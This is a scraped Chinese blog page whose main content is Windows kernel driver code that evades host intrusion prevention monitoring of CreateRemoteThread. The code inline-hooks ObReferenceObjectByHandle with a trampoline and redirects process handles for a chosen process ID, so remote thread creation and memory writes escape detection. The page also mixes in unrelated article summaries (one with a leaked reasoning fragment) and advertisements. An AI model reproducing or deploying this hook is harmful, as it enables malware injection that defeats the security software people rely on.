bypass HIPS CreateRemoteThread Monitor

Cortex-M3:为什么通过 objdump -S 可以把 C 源码和汇编混合显示? <think>我们根据要求生成摘要,≤150字。内容为文章精华。需简洁概括:objdump显示源码因DWARF调试信息,特别是.debug_line行号表;编译器在编译时记录地址-行号映射,编码为状态机压缩;-g生成调试信息,优化或无-g则不可用;其他工具同理。</think>objdump -S 能混合显示 C 源码和汇编,源于 ELF 中的 DWARF 调试信息,核心是 .debug_line 行号表。编译器逐语句生成机器码时记录“地址-行号”映射,并以状态机压缩编码。加 -g 才生成该表;优化后行号仍 阅读详情
 Authorkruglinski(kruglinski_at_sohu_dot_com)

CreateThread
+CreateRemoteThread
+NtCreateThread
+PspCreateThread
+ObReferenceObjectByHandle

inline Hook ObReferenceObjectByHandle:

lkd
> u nt!ObReferenceObjectByHandle
nt
!ObReferenceObjectByHandle:
805bb050 8bff mov edi,edi
805bb052 55 push ebp
805bb053 8bec mov ebp,esp
805bb055 51 push ecx
805bb056 53 push ebx
805bb057 56 push esi
805bb058 57 push edi
805bb059 64a124010000 mov eax,dword ptr fs:[00000124h]



source code
:

NTSTATUS __declspec
(naked) Trampoline(
HANDLE
Handle,
ACCESS_MASK
DesiredAccess,
POBJECT_TYPE
ObjectType,
KPROCESSOR_MODE
AccessMode,
PVOID
*Object,
POBJECT_HANDLE_INFORMATION
HandleInformation
)
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}

BOOLEAN
EnableHook(void)
{
PBYTE pfnObRefByHandle
=(PBYTE)&ObReferenceObjectByHandle;

ULONG uTotals
=0;
ULONG uSize
=0;

KdBreakPoint();

while(uTotals<5)
{
if(*pfnObRefByHandle==0xe9)
return FALSE;
uSize
=Disasm((PBYTE)pfnObRefByHandle,15);//使用的是精简后OllyDbg的反汇编引擎
pfnObRefByHandle
+=uSize;
uTotals
+=uSize;
}

if(uTotals>32)
return FALSE;

//我很想用lock rep movsb来Copy内存,但不记得同时用lock和rep前缀是否有效
RtlCopyMemory(&Trampoline,&ObReferenceObjectByHandle,uTotals);

{
PBYTE pTramp
=(PBYTE)&Trampoline;
pTramp
+=uTotals;
*pTramp=0xe9;
pTramp
++;
*(int*)pTramp=(int)pfnObRefByHandle-(int)(pTramp+4);

pTramp
=(PBYTE)&Trampoline;
*(ULONG*)&pTramp[32-sizeof(ULONG)]=uTotals;
}

{
BYTE
Jump[5]={0};
Jump[0]=0xe9;
*(int*)&Jump[1]=(int)&MyObRefObjByHandle-((int)&ObReferenceObjectByHandle+5);

RtlCopyMemory(&ObReferenceObjectByHandle,Jump,5);
}

return TRUE;
}

BOOLEAN
DisableHook(void)
{
PBYTE pTramp
=(PBYTE)&Trampoline;
ULONG uTotals
=*(ULONG*)&pTramp[32-sizeof(ULONG)];

KdBreakPoint();

if(uTotals!=0x90909090)
{
RtlCopyMemory(&ObReferenceObjectByHandle,&Trampoline,uTotals);
return TRUE;
}

return FALSE;
}

NTSTATUS
MyObRefObjByHandle(
HANDLE
Handle,
ACCESS_MASK
DesiredAccess,
POBJECT_TYPE
ObjectType,
KPROCESSOR_MODE
AccessMode,
PVOID
*Object,
POBJECT_HANDLE_INFORMATION
HandleInformation
)
{
if(ObjectType==PsProcessType &&
Handle==NtCurrentProcess() &&
(
DesiredAccess==PROCESS_CREATE_THREAD ||
DesiredAccess==PROCESS_VM_OPERATION || //用CreateRemoteThread这几个操作是少不了的
DesiredAccess==PROCESS_VM_WRITE
) &&
AccessMode==UserMode &&//防止错误的把内核中的一些操作重定向
PsGetCurrentProcessId()==RemapID)//重定向进程ID相同
{
//修改Handle值
Handle=hRemapHandle;
}

return Trampoline(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation);
}
Synthea合成电子健康记录EHR数据集 使用开源合成患者生成器Synthea创建的电子健康记录EHR数据集,模拟真实患者病史,包含人口统计学信息、诊疗记录、疾病、药物、过敏、程序、护理计划和保险覆盖。由于数据完全合成,不包含真实患者健康信息PHI,不受隐私或HIPAA限制,适合作为研究、教育和机器学习实验的理想数据源。 立即下载

相关推荐

中小学管理平台规划建设方案Word(47页).docx

智慧方案是面向IT全行业打造的数字化落地支撑体系,依托物联网、大数据、人工智能等技术,覆盖小程序开发、智能安防、能源数字化、农机智慧管理等细分垂直场景,跳出通用模板的空泛框架,从业务痛点出发搭建从需求调研到上线运维的全链路执行路径,是技术人员排查项目问题、撰写合规标书、推进数据治理的实用工具。想精准匹配自己细分领域的专属IT智慧方案,直接进入找方案知识星球,垂直赛道专属方案库随查随用,不用在零散资料里反复筛选,快速拿到能直接落地的参考内容。

Pico PIO 汇编语法深度详解:标识符、指令、伪指令全解析

PIO汇编(pioasm)语法包括标识符、数据类型、表达式、注释、标签、指令和伪指令。标识符定义结构与配置;标签是汇编器自动生成的偏移量定义;指令支持侧集和延时;伪指令nop由汇编器转换为mov y,y,用于侧集、延时或占位。

weixin_44719294的博客 18

智慧粮仓建设方案Word(74页).docx

智慧方案是面向IT全行业打造的数字化落地支撑体系,依托物联网、大数据、人工智能等技术,覆盖小程序开发、智能安防、能源数字化、农机智慧管理等细分垂直场景,跳出通用模板的空泛框架,从业务痛点出发搭建从需求调研到上线运维的全链路执行路径,是技术人员排查项目问题、撰写合规标书、推进数据治理的实用工具。想精准匹配自己细分领域的专属IT智慧方案,直接进入找方案知识星球,垂直赛道专属方案库随查随用,不用在零散资料里反复筛选,快速拿到能直接落地的参考内容。

【计算机图形学】基于粒子系统的创意烟花实现:HTML5 Canvas、Three.js与Pygame多技术栈综合应用指南

内容概要:本文档系统讲解了创意版烟花的完整实现路径,从粒子系统原理出发,深入剖析烟花效果的五大核心阶段——上升、爆炸、扩散、衰减与拖尾,并基于四种技术栈(HTML5 Canvas、Three.js、Python Pygame、AI音乐节拍同步)提供可运行的完整代码方案。文档涵盖基础实现、视觉增强(形状变化、闪烁、二次爆炸)、交互升级(鼠标拖动、手势控制)、性能优化(对象池、渲染优化)、部署上线(GitHub Pages、Vercel)及创意拓展(文字烟花、数据可视化、协同互动),形成“原理→编码→调优→部署→创新”的闭环学习链路。同时融入Web Audio API节拍检测、滑动窗口动态阈值等实用算法,助力开发者打造兼具美观性与技术深度的动态视觉作品。; 适合人群:具备基础编程能力的前端开发者、Python爱好者、多媒体交互设计人员,以及希望提升图形编程与动效设计能力的工作1-3年研发人员;也适用于教学演示、作品集建设或创意项目原型开发。; 使用场景及目标:①掌握粒子系统在动画与游戏开发中的底层实现机制;②实现网页端与桌面端的高性能烟花特效;③构建音乐可视化、数据艺术、互动装置等融合型项目;④学习从代码实现到线上部署的全流程工程实践。; 阅读建议:建议按照“Canvas基础→进阶优化→3D/Pygame/AI扩展”的路径逐步实践,重点关注参数调优表与性能优化策略,在调试中理解每行代码的作用;对于音乐同步等复杂功能,可先运行成功案例再深入算法逻辑,结合实际项目需求灵活组合各项技术模块。

WorkBuddy - 副本2

WorkBuddy - 副本2

高校技术转移如何高效整合科研资源与产业发展需求?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

科技服务机构如何构建专业化的数智化服务体系?.docx

科技服务机构如何构建专业化的数智化服务体系?

国央企创新负责人如何实现技术成果的精准对接与快速落地?.docx

国央企创新负责人如何实现技术成果的精准对接与快速落地?

软胶囊机--全球软胶囊机市场深度解析:保健消费升级、技术创新与全球产业格局变化.docx

软胶囊机--全球软胶囊机市场深度解析:保健消费升级、技术创新与全球产业格局变化

产业园区如何提升科技创新服务能力?_1.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

如何高效实现高校科研成果与市场需求对接?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

国央企如何提升内部技术创新与成果转化效率?.docx

国央企如何提升内部技术创新与成果转化效率?

CAD+说明书履带拖拉机变速器改进设计Ⅰ

CAD+说明书履带拖拉机变速器改进设计Ⅰ

一条德国设备上的输送流水线.rar

一条德国设备上的输送流水线.rar

政府科技管理部门如何降低平台建设成本?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

上一篇: check hidden process
下一篇: 免杀部分经验
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值